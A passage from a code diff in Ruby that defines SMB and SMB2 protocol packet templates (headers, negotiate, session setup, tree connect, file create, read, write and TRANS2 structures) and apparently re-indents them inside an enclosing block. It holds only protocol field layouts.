SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint8', 'Reserved2', 0 ], + [ 'uint16v', 'FileNameLen', 0 ], + [ 'uint32v', 'CreateFlags', 0 ], + [ 'uint32v', 'RootFileID', 0 ], + [ 'uint32v', 'AccessMask', 0 ], + [ 'uint32v', 'AllocLow', 0 ], + [ 'uint32v', 'AllocHigh', 0 ], + [ 'uint32v', 'Attributes', 0 ], + [ 'uint32v', 'ShareAccess', 0 ], + [ 'uint32v', 'Disposition', 0 ], + [ 'uint32v', 'CreateOptions', 0 ], + [ 'uint32v', 'Impersonation', 0 ], + [ 'uint8', 'SecurityFlags', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_CREATE_PKT = self.make_nbs(SMB_CREATE_HDR_PKT) + + + # A SMB template for SMB Create responses + SMB_CREATE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint8', 'OpLock', 0 ], + [ 'uint16v', 'FileID', 0 ], + [ 'uint32v', 'Action', 0 ], + [ 'uint32v', 'CreateTimeLow', 0 ], + [ 'uint32v', 'CreateTimeHigh', 0 ], + [ 'uint32v', 'AccessTimeLow', 0 ], + [ 'uint32v', 'AccessTimeHigh', 0 ], + [ 'uint32v', 'WriteTimeLow', 0 ], + [ 'uint32v', 'WriteTimeHigh', 0 ], + [ 'uint32v', 'ChangeTimeLow', 0 ], + [ 'uint32v', 'ChangeTimeHigh', 0 ], + [ 'uint32v', 'Attributes', 0 ], + [ 'uint32v', 'AllocLow', 0 ], + [ 'uint32v', 'AllocHigh', 0 ], + [ 'uint32v', 'EOFLow', 0 ], + [ 'uint32v', 'EOFHigh', 0 ], + [ 'uint16v', 'FileType', 0 ], + [ 'uint16v', 'IPCState', 0 ], + [ 'uint8', 'IsDirectory', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_CREATE_RES_PKT = self.make_nbs(SMB_CREATE_RES_HDR_PKT) + + # A SMB template for SMB Create ANDX responses + SMB_CREATE_ANDX_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint8', 'OpLock', 0 ], + [ 'uint16v', 'FileID', 0 ], + [ 'uint32v', 'Action', 0 ], + [ 'uint32v', 'CreateTimeLow', 0 ], + [ 'uint32v', 'CreateTimeHigh', 0 ], + [ 'uint32v', 'AccessTimeLow', 0 ], + [ 'uint32v', 'AccessTimeHigh', 0 ], + [ 'uint32v', 'WriteTimeLow', 0 ], + [ 'uint32v', 'WriteTimeHigh', 0 ], + [ 'uint32v', 'ChangeTimeLow', 0 ], + [ 'uint32v', 'ChangeTimeHigh', 0 ], + [ 'uint32v', 'Attributes', 0 ], + [ 'uint32v', 'AllocLow', 0 ], + [ 'uint32v', 'AllocHigh', 0 ], + [ 'uint32v', 'EOFLow', 0 ], + [ 'uint32v', 'EOFHigh', 0 ], + [ 'uint16v', 'FileType', 0 ], + [ 'uint16v', 'IPCState', 0 ], + [ 'uint8', 'IsDirectory', 0 ], + [ 'string', 'VolumeGUID', 16, '', "\x00"], + [ 'uint64v', '64bitFID', 0 ], + [ 'uint32v', 'MaxAccess', 0 ], + [ 'uint32v', 'GuestAccess', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_CREATE_ANDX_RES_PKT = self.make_nbs(SMB_CREATE_ANDX_RES_HDR_PKT) + + # A SMB template for SMB Write requests + SMB_WRITE_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'FileID', 0 ], + [ 'uint32v', 'Offset', 0 ], + [ 'uint32v', 'Reserved2', 0 ], + [ 'uint16v', 'WriteMode', 0 ], + [ 'uint16v', 'Remaining', 0 ], + [ 'uint16v', 'DataLenHigh', 0 ], + [ 'uint16v', 'DataLenLow', 0 ], + [ 'uint16v', 'DataOffset', 0 ], + [ 'uint32v', 'DataOffsetHigh', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_WRITE_PKT = self.make_nbs(SMB_WRITE_HDR_PKT) + + + # A SMB template for SMB Write responses + SMB_WRITE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'CountLow', 0 ], + [ 'uint16v', 'Remaining', 0 ], + [ 'uint16v', 'CountHigh', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_WRITE_RES_PKT = self.make_nbs(SMB_WRITE_RES_HDR_PKT) + + + # A SMB template for SMB OPEN requests + SMB_OPEN_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'Flags', 0 ], + [ 'uint16v', 'Access', 0 ], + [ 'uint16v', 'SearchAttributes', 0 ], + [ 'uint16v', 'FileAttributes', 0 ], + [ 'uint32v', 'CreateTime', 0 ], + [ 'uint16v', 'OpenFunction', 0 ], + [ 'uint32v', 'AllocSize', 0 ], + [ 'uint32v', 'Reserved2', 0 ], + [ 'uint32v', 'Reserved3', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_OPEN_PKT = self.make_nbs(SMB_OPEN_HDR_PKT) + + + # A SMB template for SMB OPEN responses + SMB_OPEN_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'FileID', 0 ], + [ 'uint16v', 'FileAttributes', 0 ], + [ 'uint32v', 'WriteTime', 0 ], + [ 'uint32v', 'FileSize', 0 ], + [ 'uint16v', 'FileAccess', 0 ], + [ 'uint16v', 'FileType', 0 ], + [ 'uint16v', 'IPCState', 0 ], + [ 'uint16v', 'Action', 0 ], + [ 'uint32v', 'ServerFileID', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_OPEN_RES_PKT = self.make_nbs(SMB_OPEN_RES_HDR_PKT) + + + # A SMB template for SMB Close requests + SMB_CLOSE_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'FileID', 0 ], + [ 'uint32v', 'LastWrite', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_CLOSE_PKT = self.make_nbs(SMB_CLOSE_HDR_PKT) + + + # A SMB template for SMB Close responses + SMB_CLOSE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_CLOSE_RES_PKT = self.make_nbs(SMB_CLOSE_RES_HDR_PKT) + + + # A SMB template for SMB Delete requests + SMB_DELETE_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'SearchAttribute', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'uint8', 'BufferFormat', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_DELETE_PKT = self.make_nbs(SMB_DELETE_HDR_PKT) + + + # A SMB template for SMB Delete responses + SMB_DELETE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_DELETE_RES_PKT = self.make_nbs(SMB_DELETE_RES_HDR_PKT) + + + + # A SMB template for SMB Read requests + SMB_READ_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'FileID', 0 ], + [ 'uint32v', 'Offset', 0 ], + [ 'uint16v', 'MaxCountLow', 0 ], + [ 'uint16v', 'MinCount', 0 ], + [ 'uint32v', 'Reserved2', 0 ], + [ 'uint16v', 'Remaining', 0 ], + [ 'uint32v', 'MaxCountHigh', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_READ_PKT = self.make_nbs(SMB_READ_HDR_PKT) + + + # A SMB template for SMB Read responses + SMB_READ_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'Remaining', 0 ], + [ 'uint16v', 'DataCompaction', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint16v', 'DataLenLow', 0 ], + [ 'uint16v', 'DataOffset', 0 ], + [ 'uint32v', 'DataLenHigh', 0 ], + [ 'uint32v', 'Reserved3', 0 ], + [ 'uint16v', 'Reserved4', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_READ_RES_PKT = self.make_nbs(SMB_READ_RES_HDR_PKT) + + SMB_READ_RES_HDR_PKT_LENGTH = SMB_HDR_LENGTH + 26 + + # A SMB template for SMB Search requests + SMB_SEARCH_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'MaxCount', 0 ], + [ 'uint16v', 'Attributes', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_SEARCH_PKT = self.make_nbs(SMB_SEARCH_HDR_PKT) + + # A template for SMB TRANS2_FIND_FIRST response parameters + SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS = Rex::Struct2::CStructTemplate.new( + ['uint16v', 'SID', 0], + ['uint16v', 'SearchCount', 0], + ['uint16v', 'EndOfSearch', 0], + ['uint16v', 'EaErrorOffset', 0], + ['uint16v', 'LastNameOffset', 0] + ) + + # A template for SMB_FIND_FILE_BOTH_DIRECTORY_INFO Find information level + SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR = Rex::Struct2::CStructTemplate.new( + ['uint32v', 'NextEntryOffset', 0], + ['uint32v', 'FileIndex', 0], + ['uint32v', 'loCreationTime', 0], + ['uint32v', 'hiCreationTime', 0], + ['uint32v', 'loLastAccessTime', 0], + ['uint32v', 'hiLastAccessTime', 0], + ['uint32v', 'loLastWriteTime', 0], + ['uint32v', 'hiLastWriteTime', 0], + ['uint32v', 'loLastChangeTime', 0], + ['uint32v', 'hiLastChangeTime', 0], + ['uint64v', 'EndOfFile', 0], + ['uint64v', 'AllocationSize', 0], + ['uint32v', 'ExtFileAttributes', 0], + ['uint32v', 'FileNameLength', 0], + ['uint32v', 'EaSize', 0], + ['uint8', 'ShortNameLength', 0], + ['uint8', 'Reserved', 0], + ['string', 'ShortName', 24, '', "\x00"], + ['string', 'FileName', nil, '' ] + ).create_restraints( + ['FileName', 'FileNameLength', nil, true] + ) + + SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR_LENGTH = 94 + + # A template for SMB_FIND_FILE_BOTH_DIRECTORY_INFO Find information level + SMB_FIND_FILE_NAMES_INFO_HDR = Rex::Struct2::CStructTemplate.new( + ['uint32v', 'NextEntryOffset', 0], + ['uint32v', 'FileIndex', 0], + ['uint32v', 'FileNameLength', 0], + ['string', 'FileName', nil, '' ] + ).create_restraints( + ['FileName', 'FileNameLength', nil, true] + ) + + SMB_FIND_FILE_NAMES_INFO_HDR_LENGTH = 12 + + # A template for SMB_FIND_FILE_FULL_DIRECTORY_INFO Find information level + SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR = Rex::Struct2::CStructTemplate.new( + ['uint32v', 'NextEntryOffset', 0], + ['uint32v', 'FileIndex', 0], + ['uint32v', 'loCreationTime', 0], + ['uint32v', 'hiCreationTime', 0], + ['uint32v', 'loLastAccessTime', 0], + ['uint32v', 'hiLastAccessTime', 0], + ['uint32v', 'loLastWriteTime', 0], + ['uint32v', 'hiLastWriteTime', 0], + ['uint32v', 'loLastChangeTime', 0], + ['uint32v', 'hiLastChangeTime', 0], + ['uint64v', 'EndOfFile', 0], + ['uint64v', 'AllocationSize', 0], + ['uint32v', 'ExtFileAttributes', 0], + ['uint32v', 'FileNameLength', 0], + ['uint32v', 'EaSize', 0], + ['string', 'FileName', nil, '' ] + ).create_restraints( + ['FileName', 'FileNameLength', nil, true] + ) + + SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR_LENGTH = 68 + + # A template for SMB FIND_FIRST2 TRANS2 response parameters + SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS = Rex::Struct2::CStructTemplate.new( + ['uint16v', 'EaErrorOffset', 0] + ) + + # A template for SMB_QUERY_FILE_NETWORK_INFO query path information level + SMB_QUERY_FILE_NETWORK_INFO_HDR = Rex::Struct2::CStructTemplate.new( + ['uint32v', 'loCreationTime', 0], + ['uint32v', 'hiCreationTime', 0], + ['uint32v', 'loLastAccessTime', 0], + ['uint32v', 'hiLastAccessTime', 0], + ['uint32v', 'loLastWriteTime', 0], + ['uint32v', 'hiLastWriteTime', 0], + ['uint32v', 'loLastChangeTime', 0], + ['uint32v', 'hiLastChangeTime', 0], + ['uint64v', 'AllocationSize', 0], + ['uint64v', 'EndOfFile', 0], + ['uint32v', 'ExtFileAttributes', 0], + ['uint32v', 'Reserved', 0] + ) + + SMB_QUERY_FILE_NETWORK_INFO_HDR_LENGTH = 56 + + # A template for SMB_QUERY_FILE_BASIC_INFO query path information level + SMB_QUERY_FILE_BASIC_INFO_HDR = Rex::Struct2::CStructTemplate.new( + ['uint32v', 'loCreationTime', 0], + ['uint32v', 'hiCreationTime', 0], + ['uint32v', 'loLastAccessTime', 0], + ['uint32v', 'hiLastAccessTime', 0], + ['uint32v', 'loLastWriteTime', 0], + ['uint32v', 'hiLastWriteTime', 0], + ['uint32v', 'loLastChangeTime', 0], + ['uint32v', 'hiLastChangeTime', 0], + ['uint32v', 'ExtFileAttributes', 0], + ['uint32v', 'Reserved', 0] + ) + + SMB_QUERY_FILE_BASIC_INFO_HDR_LENGTH = 40 + + # A template for SMB_QUERY_FILE_STANDARD_INFO query path information level + SMB_QUERY_FILE_STANDARD_INFO_HDR = Rex::Struct2::CStructTemplate.new( + ['uint64v', 'AllocationSize', 0], + ['uint64v', 'EndOfFile', 0], + ['uint32v', 'NumberOfLinks', 0], + ['uint8', 'DeletePending', 0], + ['uint8', 'Directory', 0] + ) + + SMB_QUERY_FILE_STANDARD_INFO_HDR_LENGTH = 22 + + # A template for SMB_Data blocks of the SMB_COM_TRANSACTION2 requests + SMB_DATA_TRANS2 = Rex::Struct2::CStructTemplate.new( + ['uint16v', 'SubCommand', 0], + ['uint16v', 'ByteCount', 0], + ['string', 'Parameters', nil, ''] + ).create_restraints( + ['Parameters', 'ByteCount', nil, true] + ) + + # A template for SMB_Parameters blocks of the SMB_COM_TRANSACTION2 QUERY_PATH_INFO responses + SMB_TRANS2_QUERY_PATH_PARAMETERS = Rex::Struct2::CStructTemplate.new( + ['uint16v', 'InformationLevel', 0], + ['uint32v', 'Reserved', 0], + ['string', 'FileName', nil, ''] + ) + + # A template for SMB_Parameters blocks of the SMB_COM_TRANSACTION2 QUERY_FILE_INFO responses + SMB_TRANS2_QUERY_FILE_PARAMETERS = Rex::Struct2::CStructTemplate.new( + ['uint16v', 'FID', 0], + ['uint16v', 'InformationLevel', 0] + ) + + # A template for SMB_Parameters blocks of the SMB_COM_TRANSACTION2 FIND_FIRST2 responses + SMB_TRANS2_FIND_FIRST2_PARAMETERS = Rex::Struct2::CStructTemplate.new( + ['uint16v', 'SearchAttributes', 0], + ['uint16v', 'SearchCount', 0], + ['uint16v', 'Flags', 0], + ['uint16v', 'InformationLevel', 0], + ['uint32v', 'SearchStorageType', 0], + ['string', 'FileName', nil, ''] + ) + + # A template for SMB Tree Connect commands in responses + SMB_TREE_CONN_ANDX_RES_PKT = Rex::Struct2::CStructTemplate.new( + ['uint8', 'WordCount', 0], + ['uint8', 'AndXCommand', 0], + ['uint8', 'AndXReserved', 0], + ['uint16v', 'AndXOffset', 0], + ['uint16v', 'OptionalSupport', 0], + ['uint32v', 'AccessRights', 0], + ['uint32v', 'GuestAccessRights', 0], + ['uint16v', 'ByteCount', 0], + ['string', 'Payload', nil, ''] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] ) -end - - -# A raw NetBIOS session template -NBRAW_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'string', 'Payload', nil, ''] -) -NBRAW_PKT = self.make_nbs(NBRAW_HDR_PKT) - - -# The SMB header template -SMB_HDR = Rex::Struct2::CStructTemplate.new( - [ 'uint32n', 'Magic', 0xff534d42 ], - [ 'uint8', 'Command', 0 ], - [ 'uint32v', 'ErrorClass', 0 ], - [ 'uint8', 'Flags1', 0 ], - [ 'uint16v', 'Flags2', 0 ], - [ 'uint16v', 'ProcessIDHigh', 0 ], - [ 'uint32v', 'Signature1', 0 ], - [ 'uint32v', 'Signature2', 0 ], - [ 'uint16v', 'Reserved1', 0 ], - [ 'uint16v', 'TreeID', 0 ], - [ 'uint16v', 'ProcessID', 0 ], - [ 'uint16v', 'UserID', 0 ], - [ 'uint16v', 'MultiplexID', 0 ], - [ 'uint8', 'WordCount', 0 ] -) - - -# The SMB2 header template -SMB2_HDR = Rex::Struct2::CStructTemplate.new( - [ 'uint32n', 'Magic', 0xfe534d42 ], - [ 'uint16v', 'HeaderLen', 64 ], - [ 'uint16v', 'Reserved0', 0 ], - [ 'uint32v', 'NTStatus', 0 ], - - [ 'uint16v', 'Opcode', 0 ], - [ 'uint16v', 'Reserved1', 0 ], - - [ 'uint16v', 'Flags1', 0 ], - [ 'uint16v', 'Flags2', 0 ], - - [ 'uint32v', 'ChainOffset', 0 ], - - [ 'uint32v', 'SequenceHigh', 0 ], - [ 'uint32v', 'SequenceLow', 0 ], - - [ 'uint32v', 'ProcessID', 0 ], - [ 'uint32v', 'TreeID', 0 ], - [ 'uint32v', 'UserIDHigh', 0 ], - [ 'uint32v', 'UserIDLow', 0 ], - - [ 'uint32v', 'SignatureA', 0 ], - [ 'uint32v', 'SignatureB', 0 ], - [ 'uint32v', 'SignatureC', 0 ], - [ 'uint32v', 'SignatureD', 0 ], - [ 'string', 'Payload', nil, ''] -) - -# A basic SMB template to read all responses -SMB_BASE_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_BASE_PKT = self.make_nbs(SMB_BASE_HDR_PKT) - - -# A SMB template for SMB Dialect negotiation -SMB_NEG_HDR_PKT = Rex::Struct2::CStructTemplate.new( - - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_NEG_PKT = self.make_nbs(SMB_NEG_HDR_PKT) - - -# A SMB template for SMB Dialect negotiation responses (LANMAN) -SMB_NEG_RES_LM_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'Dialect', 0 ], - [ 'uint16v', 'SecurityMode', 0 ], - [ 'uint16v', 'MaxBuff', 0 ], - [ 'uint16v', 'MaxMPX', 0 ], - [ 'uint16v', 'MaxVCS', 0 ], - [ 'uint16v', 'RawMode', 0 ], - [ 'uint32v', 'SessionKey', 0 ], - [ 'uint16v', 'DosTime', 0 ], - [ 'uint16v', 'DosDate', 0 ], - [ 'uint16v', 'Timezone', 0 ], - [ 'uint16v', 'KeyLength', 0 ], - [ 'uint16v', 'Reserved1', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'EncryptionKey', nil, '' ] -).create_restraints( - [ 'EncryptionKey', 'ByteCount', nil, true ] -) -SMB_NEG_RES_LM_PKT = self.make_nbs(SMB_NEG_RES_LM_HDR_PKT) - - -# A SMB template for SMB Dialect negotiation responses (NTLM) -SMB_NEG_RES_NT_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'Dialect', 0 ], - [ 'uint8', 'SecurityMode', 0 ], - [ 'uint16v', 'MaxMPX', 0 ], - [ 'uint16v', 'MaxVCS', 0 ], - [ 'uint32v', 'MaxBuff', 0 ], - [ 'uint32v', 'MaxRaw', 0 ], - [ 'uint32v', 'SessionKey', 0 ], - [ 'uint32v', 'Capabilities', 0 ], - [ 'uint32v', 'SystemTimeLow', 0 ], - [ 'uint32v', 'SystemTimeHigh', 0 ], - [ 'uint16v', 'ServerTimeZone', 0 ], - [ 'uint8', 'KeyLength', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_NEG_RES_NT_PKT = self.make_nbs(SMB_NEG_RES_NT_HDR_PKT) - - -# A SMB template for SMB Dialect negotiation responses (ERROR) -SMB_NEG_RES_ERR_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'Dialect', 0 ], - [ 'uint16v', 'ByteCount', 0 ] -) -SMB_NEG_RES_ERR_PKT = self.make_nbs(SMB_NEG_RES_ERR_HDR_PKT) - - -# A SMB template for SMB Session Setup responses (LANMAN/NTLMV1) -SMB_SETUP_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'Action', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_SETUP_RES_PKT = self.make_nbs(SMB_SETUP_RES_HDR_PKT) - - -# A SMB template for SMB Session Setup requests (LANMAN) -SMB_SETUP_LANMAN_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'MaxBuff', 0 ], - [ 'uint16v', 'MaxMPX', 0 ], - [ 'uint16v', 'VCNum', 0 ], - [ 'uint32v', 'SessionKey', 0 ], - [ 'uint16v', 'PasswordLen', 0 ], - [ 'uint32v', 'Reserved2', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_SETUP_LANMAN_PKT = self.make_nbs(SMB_SETUP_LANMAN_HDR_PKT) - - -# A SMB template for SMB Session Setup requests (NTLMV1) -SMB_SETUP_NTLMV1_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'MaxBuff', 0 ], - [ 'uint16v', 'MaxMPX', 0 ], - [ 'uint16v', 'VCNum', 0 ], - [ 'uint32v', 'SessionKey', 0 ], - [ 'uint16v', 'PasswordLenLM', 0 ], - [ 'uint16v', 'PasswordLenNT', 0 ], - [ 'uint32v', 'Reserved2', 0 ], - [ 'uint32v', 'Capabilities', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_SETUP_NTLMV1_PKT = self.make_nbs(SMB_SETUP_NTLMV1_HDR_PKT) - - -# A SMB template for SMB Session Setup requests (When extended security is being used) -SMB_SETUP_NTLMV2_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'MaxBuff', 0 ], - [ 'uint16v', 'MaxMPX', 0 ], - [ 'uint16v', 'VCNum', 0 ], - [ 'uint32v', 'SessionKey', 0 ], - [ 'uint16v', 'SecurityBlobLen', 0 ], - [ 'uint32v', 'Reserved2', 0 ], - [ 'uint32v', 'Capabilities', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_SETUP_NTLMV2_PKT = self.make_nbs(SMB_SETUP_NTLMV2_HDR_PKT) - - -# A SMB template for SMB Session Setup responses (When extended security is being used) -SMB_SETUP_NTLMV2_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'Action', 0 ], - [ 'uint16v', 'SecurityBlobLen', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_SETUP_NTLMV2_RES_PKT = self.make_nbs(SMB_SETUP_NTLMV2_RES_HDR_PKT) - - -# A SMB template for SMB Tree Connect requests -SMB_TREE_CONN_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'Flags', 0 ], - [ 'uint16v', 'PasswordLen', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TREE_CONN_PKT = self.make_nbs(SMB_TREE_CONN_HDR_PKT) - - -# A SMB template for SMB Tree Connect requests -SMB_TREE_CONN_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'OptionalSupport', 0 ], - [ 'string', 'SupportWords', nil, '' ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TREE_CONN_RES_PKT = self.make_nbs(SMB_TREE_CONN_RES_HDR_PKT) - - -# A SMB template for SMB Tree Disconnect requests -SMB_TREE_DISCONN_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TREE_DISCONN_PKT = self.make_nbs(SMB_TREE_DISCONN_HDR_PKT) - - -# A SMB template for SMB Tree Disconnect requests -SMB_TREE_DISCONN_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TREE_DISCONN_RES_PKT = self.make_nbs(SMB_TREE_DISCONN_RES_HDR_PKT) - - -# A SMB template for SMB Transaction requests 